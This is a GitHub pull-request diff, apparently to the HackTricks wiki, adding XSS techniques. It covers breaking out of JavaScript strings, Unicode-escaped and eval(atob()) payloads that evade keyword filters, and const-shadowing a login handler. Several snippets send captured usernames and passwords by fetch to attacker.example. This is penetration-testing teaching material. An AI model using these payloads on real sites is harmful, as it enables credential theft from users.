Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions searchindex.js

Large diffs are not rendered by default.

60 changes: 60 additions & 0 deletions src/pentesting-web/xss-cross-site-scripting/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -543,6 +543,25 @@ If `<>` are being sanitised you can still **escape the string** where your input
\';alert(document.domain)//
```

#### JS-in-JS string break → inject → repair pattern

When user input lands inside a quoted JavaScript string (e.g., server-side echo into an inline script), you can terminate the string, inject code, and repair the syntax to keep parsing valid. Generic skeleton:

```
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
```

Example URL pattern when the vulnerable parameter is reflected into a JS string:

```
?param=test";<INJECTION>;a="
```

This executes attacker JS without needing to touch HTML context (pure JS-in-JS). Combine with blacklist bypasses below when filters block keywords.

### Template literals \`\`

In order to construct **strings** apart from single and double quotes JS also accepts **backticks** **` `` `** . This is known as template literals as they allow to **embedded JS expressions** using `${ ... }` syntax.\
Expand Down Expand Up @@ -571,6 +590,25 @@ loop``
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
```

#### Deliverable payloads with eval(atob()) and scope nuances

To keep URLs shorter and bypass naive keyword filters, you can base64-encode your real logic and evaluate it with `eval(atob('...'))`. If simple keyword filtering blocks identifiers like `alert`, `eval`, or `atob`, use Unicode-escaped identifiers which compile identically in the browser but evade string-matching filters:

```
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
```

Important scoping nuance: `const`/`let` declared inside `eval()` are block-scoped and do NOT create globals; they won’t be accessible to later scripts. Use a dynamically injected `<script>` element to define global, non-rebindable hooks when needed (e.g., to hijack a form handler):

```javascript
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
```

Reference: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

### Unicode Encode JS execution

```javascript
Expand Down Expand Up @@ -1513,6 +1551,23 @@ body:username.value+':'+this.value

When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated.

### Hijack form handlers to exfiltrate credentials (const shadowing)

If a critical handler (e.g., `function DoLogin(){...}`) is declared later in the page, and your payload runs earlier (e.g., via an inline JS-in-JS sink), define a `const` with the same name first to preempt and lock the handler. Later function declarations cannot rebind a `const` name, leaving your hook in control:

```javascript
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
```

Notes
- This relies on execution order: your injection must execute before the legitimate declaration.
- If your payload is wrapped in `eval(...)`, `const/let` bindings won’t become globals. Use the dynamic `<script>` injection technique from the section “Deliverable payloads with eval(atob()) and scope nuances” to ensure a true global, non-rebindable binding.
- When keyword filters block code, combine with Unicode-escaped identifiers or `eval(atob('...'))` delivery, as shown above.

### Keylogger

Just searching in github I found a few different ones:
Expand Down Expand Up @@ -1792,4 +1847,9 @@ other-js-tricks.md
- [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
- [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide)

## References

- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
- [MDN eval()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval)

{{#include ../../banners/hacktricks-training.md}}
25 changes: 22 additions & 3 deletions src/pentesting-web/xss-cross-site-scripting/js-hoisting.md
Original file line number Diff line number Diff line change
Expand Up @@ -130,15 +130,34 @@ let config;` -
},
})
}
trigger()
```

### Preempt later declarations by locking a name with const

If you can execute before a top-level `function foo(){...}` is parsed, declaring a lexical binding with the same name (e.g., `const foo = ...`) will prevent the later function declaration from rebinding that identifier. This can be abused in RXSS to hijack critical handlers defined later in the page:

```javascript
// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}

// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding
```

Notes
- This relies on execution order and global (top-level) scope.
- If your payload is executed inside `eval()`, remember that `const/let` inside `eval` are block-scoped and won’t create global bindings. Inject a new `<script>` element with the code to establish a true global `const`.

## References

- [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
- [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
- [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)

{{#include ../../banners/hacktricks-training.md}}